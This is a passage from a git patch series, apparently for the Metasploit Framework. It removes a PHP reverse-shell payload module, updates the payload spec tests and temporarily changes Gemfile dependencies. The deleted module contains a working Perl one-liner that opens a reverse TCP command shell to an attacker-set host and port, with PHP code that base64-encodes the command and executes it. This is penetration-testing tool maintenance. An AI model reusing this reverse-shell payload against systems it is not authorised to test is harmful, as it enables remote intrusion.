Msf::Sessions::CommandShellOptions - - def initialize(info = {}) - super( - merge_info( - info, - 'Name' => 'PHP Command, Double Reverse TCP Connection (via Perl)', - 'Description' => 'Creates an interactive shell via perl', - 'Author' => 'cazz', - 'License' => BSD_LICENSE, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Handler' => Msf::Handler::ReverseTcp, - 'Session' => Msf::Sessions::CommandShell, - 'PayloadType' => 'cmd', - 'Payload' => { - 'Offsets' => {}, - 'Payload' => '' - } - ) - ) - end - - # - # Constructs the payload - # - def generate(_opts = {}) - vars = Rex::RandomIdentifier::Generator.new - dis = "$#{vars[:dis]}" - shell = <<-END_OF_PHP_CODE - #{php_preamble(disabled_varname: dis)} - $c = base64_decode("#{Rex::Text.encode_base64(command_string)}"); - #{php_system_block(cmd_varname: '$c', disabled_varname: dis)} - END_OF_PHP_CODE - return super + shell - end - - # - # Returns the command string to use for execution - # - def command_string - ver = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '6' : '' - lhost = Rex::Socket.is_ipv6?(datastore['LHOST']) ? "[#{datastore['LHOST']}]" : datastore['LHOST'] - "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'" - end -end From 22c8f6a0be91e94a6fdd9bdbef4c4d2f4eb01857 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 9 May 2025 16:38:34 -0400 Subject: [PATCH 4/5] Update specs --- spec/modules/payloads_spec.rb | 46 ++++++++++++----------------------- 1 file changed, 16 insertions(+), 30 deletions(-) diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index a067282c011b..b1496addf053 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -1043,6 +1043,14 @@ reference_name: 'cmd/unix/interact' end + context 'cmd/unix/php' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/unix/php' + ], + reference_name: 'cmd/unix/php' + end + context 'cmd/unix/pingback_bind' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2920,26 +2928,6 @@ reference_name: 'osx/x86/vforkshell_reverse_tcp' end - context 'php/bind_perl' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'singles/php/bind_perl' - ], - dynamic_size: true, - modules_pathname: modules_pathname, - reference_name: 'php/bind_perl' - end - - context 'php/bind_perl_ipv6' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'singles/php/bind_perl_ipv6' - ], - dynamic_size: true, - modules_pathname: modules_pathname, - reference_name: 'php/bind_perl_ipv6' - end - context 'php/bind_php' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2960,6 +2948,14 @@ reference_name: 'php/bind_php_ipv6' end + context 'php/unix/cmd' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/php/unix/cmd' + ], + reference_name: 'php/unix/cmd ' + end + context 'php/download_exec' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3056,16 +3052,6 @@ reference_name: 'php/meterpreter_reverse_tcp' end - context 'php/reverse_perl' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'singles/php/reverse_perl' - ], - dynamic_size: true, - modules_pathname: modules_pathname, - reference_name: 'php/reverse_perl' - end - context 'php/reverse_php' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From ed2d73d109b38d2cd41b588d319f56daf7590872 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 9 May 2025 16:38:54 -0400 Subject: [PATCH 5/5] Add a temporary commit to load the rex changes --- Gemfile | 1 + Gemfile.lock | 12 ++++++++++-- 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/Gemfile b/Gemfile index cf1ac4257567..5acb2f761ed6 100644 --- a/Gemfile +++ b/Gemfile @@ -53,3 +53,4 @@ group :test do gem 'timecop' end +gem 'rex-random_identifier', git: 'https://github.com/zeroSteiner/rex-random_identifier', branch: 'feat/lang/php' diff --git a/Gemfile.lock b/Gemfile.lock index 89a6141aafae..9f3700bc6709 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,3 +1,12 @@ +GIT + remote: https://github.com/zeroSteiner/rex-random_identifier + revision: b2f8c2ec849064f04ce68f8895253117da14dc84 + branch: feat/lang/php + specs: + rex-random_identifier (0.1.16) + bigdecimal + rex-text + PATH remote: . specs: @@ -469,8 +478,6 @@ GEM rex-random_identifier rex-text ruby-rc4 - rex-random_identifier (0.1.15) - rex-text rex-registry (0.1.6) rex-rop_builder (0.1.6) metasm @@ -621,6 +628,7 @@ DEPENDENCIES pry-byebug rake redcarpet + rex-random_identifier! rspec-rails rspec-rerun rubocop (= 1.67.0)